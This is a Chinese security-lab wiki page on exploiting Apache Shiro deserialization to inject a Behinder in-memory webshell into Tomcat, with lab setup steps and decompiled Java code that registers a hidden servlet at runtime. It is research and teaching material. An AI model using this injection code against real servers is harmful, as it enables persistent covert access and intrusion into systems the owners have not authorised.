© 哨兵
    GITLAB
    • I. GITLAB CVE-2020-10977 任意文件读取漏洞
    • II. GITLAB CVE-2020-10977 任意文件读取漏洞导致的RCE
    COBALT STIKE
    • I. COBALT STIKE服务器搭建历程
    • II. COBALT STIKE服务器隐藏真实IP
    • III. 域名前置隐藏C2服务器
    • IV. CS上线木马免杀入门
    APACHE LOG4J2
    • I. APACHE LOG4J2 RCE复现历程
    OCR IN BP
    • I. BURPSUITE验证码插件实验
    CTF
    • I. CTF - 代码审计向
    • II. CTF - 密码学与杂项
    二进制研究/BIN
    • I. HIKVISION-CONFIGURATIONFILES-DECRYPTER
    • II. ROUTER-BINFILE-ANALYSIS
    POLKIT
    • I. POLKIT-CVE-2021-3560
    • II. POLKIT-CVE-2021-4034复现
    代理池:BASED ON SCYLLA
    • I. SCYLLA 搭建步骤
    WAF
    • I. MOD-WAF-BYPASS-WALKTHROUGH
    • II. MODSEC & CLOUDFLARE WAF INITIAL RESEARCH
    代码审计
    • I. DYNAMIC-ANALYSIS-OF-JAVA-FRAMEWORK-CODE
    • II. 安全与开发之:MAVEN构建排错
    • III. 浪潮CLUSTERENGINEV4.0代码审计历程
    SPRING
    • I. SPRINGBOOT-MEMORY-FILES-HEAPDUMP-ANALYSIS
    • II. CVE-2022-22947 SPRING-CLOUD-GATEWAY-RCE
    其他研究
    • I. SQL注入原理分析
    • II. STRUTS2DESER
    • III. 基于内存的SHIRO框架WEBSHELL攻击研究
    • IV. 通达OA利用代码分析
    • V. JRMP-GADGET
    反序列化
    • I. SHIRODESER
    • II. JAVADESER

本文发布于:2021-03-10并最后修改于:2021-11-19 | 哨兵安全实验室

Print document Edit on github

基于内存的Shiro框架Webshell攻击研究

  • ✅Shiro框架部署
    • IDEA tomcat调试部署
    • docker compose
  • ✅Shiro框架攻击
    • 手动poc
    • 工具poc
  • ✅基于tomcat的通用回显
    • tomcat冰蝎内存马
      • 利用原理
      • 攻击测试
  • ✅给👴连!

零:Shiro框架部署

现如今部署一个靶场的方法有很多,取决于个人喜好和需求;我结合个人能力做出了一些总结:

特点\部署办法 docker-compose IDEA tomcat调试部署 Docker+IDEA
快捷程度 几条命令快捷部署 需开放调试端口+tomcat war包(如无则需源码构建) 你懂的
能否调试 ❎ ✅ ✅
自定义靶场(如页面) ❎ ✅ ✅

# 0x01:IDEA tomcat调试部署

本篇文章会侧重描述如何进行针对IDEA的tomcat调试部署;

  • 克隆源码
    • 以shiro-721为例:
      git clone https://github.com/apache/shiro.git
      cd shiro
      git checkout shiro-root-1.4.1
      mvn install
      cd samples/web
      mvn install
      
    • 找到{path-to-shiro}/samples/web/target目录下的war包复制到tomcat webapps目录下:
      $ tree
      target
      ··
      │   ├── index.jsp
      │   ├── login.jsp
      │   ├── logout.jsp
      │   └── style.css
      ├── samples-web-1.4.1.war
          
      $ cp samples/web/target/samples-web-1.4.1.war {path-to-tomcat}/webapps/
      
  • 开放tomcat调试端口:
    • 找到bin/catalina.sh文件中的JAVA_OPTS(会有多个),修改如下:
      JAVA_OPTS="$JAVA_OPTS $JSSE_OPTS"
            
      # Register custom URL handlers
      # Do this here so custom URL handles (specifically 'war:...') can be used in the security policy
      JAVA_OPTS="$JAVA_OPTS -Djava.protocol.handler.pkgs=org.apache.catalina.webresources"
      CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=5555,suspend=n,server=y"
      #上面的CATALINA_OPTS为新增;address为调试端口,可自行更改。
      
    • bin/startup.sh启动,看到以下日志打印则开放调试成功:
      $ tail -f logs/catalina.out
      Listening for transport dt_socket at address: 5555
      10-Mar-2021 09:51:16.763 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Server.服务器版本: Apache Tomcat/8.5.57
      ···
      10-Mar-2021 09:51:16.769 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数:-Xdebug
      10-Mar-2021 09:51:16.769 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数:-Xrunjdwp:transport=dt_socket,address=5555,suspend=n,server=y
      
  • IDEA+tomcat调试:
    • IDEA配置(添加server时为Tomcat Server->Remote): lzFJ2uNZPagBfn6.png

      • 如下图,加上home.jsp断点后进行http请求,可以看到IDEA中返回的frames详情; 6WGlumFBdDwstVY.png

这样基本上一个基本的IDEA+tomcat的调试配置过程基本就完成了,当然,这只是调试前的准备工作,大家多练习几次,基本上就能够熟练掌握;而最重要的以及最难的其实是调试阶段, 调试过程中的一些技巧和能力是在一次次的实践中沉淀下来的,在这里仅仅当作抛砖引玉,不做赘述。

# 0x02:docker compose部署

  • 准备工作
    • 根据不同操作系统下载安装docker;
    • 安装python->pip->docker-compose,教程自行搜索:)
  • 下载靶场
    • vulhub based on docker:
      $ git clone https://github.com/vulhub/vulhub.git
      $ cd vulhub/shiro/CVE-2016-4437/
      $ docker-compose up -d
      

      等待启动即可。

一:Shiro框架攻击

poc代码生成攻击cookie可以参考之前的文章:

1x01:手动poc

分享:Different Shiro Framework deserialization analysis ideas#how to poc

1x02:工具poc

分享:Different Shiro Framework deserialization analysis ideas#验证

二:基于tomcat的通用回显之冰蝎内存马

这一小节由于个人水平有限,不能像各位师傅一样从tomcat servlet等层面一探究竟,我尽量使用简洁的语言写出我的理解;

# 2x01:攻击测试

工具直接选择”冰蝎2_Tomcat”,执行注入;

  • http发包请求如下: tUJATRsNyZQFWX4.png

  • 我们可以看到HTTP请求为POST请求p&path&dy数据;同时header中加入了rememberMe Cookie;

  • 分析: Cookie是作为反序列化的入口,dy参数应该是写入内存的命令

同时最后返回dynamic inject success;

  • 注入成功效果: jKPIn8YHdTsW9LS.png

# 2x02:利用原理

我们把利用工具的jar包扔进反编译软件定位到BehOldDemoServlert.class,我们来看看代码是怎么工作的:

  public void dynamicAddServlet(ServletContext servletContext) throws Exception {
    Method method;
    String wrapperName = this.path;
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
    Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
    Object newWrapper = invoke(standardContext, "createWrapper", (Object[])null);
    invoke(newWrapper, "setName", new Object[] { wrapperName });
    setFieldValue(newWrapper, "instance", this);
    Class<?> containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader());
    Object oldWrapper = invoke(standardContext, "findChild", new Object[] { wrapperName });
    if (oldWrapper != null)
      standardContext.getClass().getDeclaredMethod("removeChild", new Class[] { containerClass }); 
    standardContext.getClass().getDeclaredMethod("addChild", new Class[] { containerClass }).invoke(standardContext, new Object[] { newWrapper });
    try {
      method = standardContext.getClass().getMethod("addServletMappingDecoded", new Class[] { String.class, String.class });
    } catch (Exception var9) {
      method = standardContext.getClass().getMethod("addServletMapping", new Class[] { String.class, String.class });
    } 
    method.invoke(standardContext, new Object[] { this.path, wrapperName });
    init((ServletConfig)getFieldValue(newWrapper, "facade"));
  }

申明

转载请申明本文档链接
Post by: Bin4xin.

其他

HOME · 镜像 · 博客 · WIKI

此文档对您有帮助吗

文章目录
  • .. / 研究 / 其他研究 /

    Author: Bin4xin.
    Build Ver: 2.1.5.1db1b0f release By Action.
    Time Build in: Sat, 07 May 2022 08:56:41 +0800
    Last modified Modified: 2021-11-19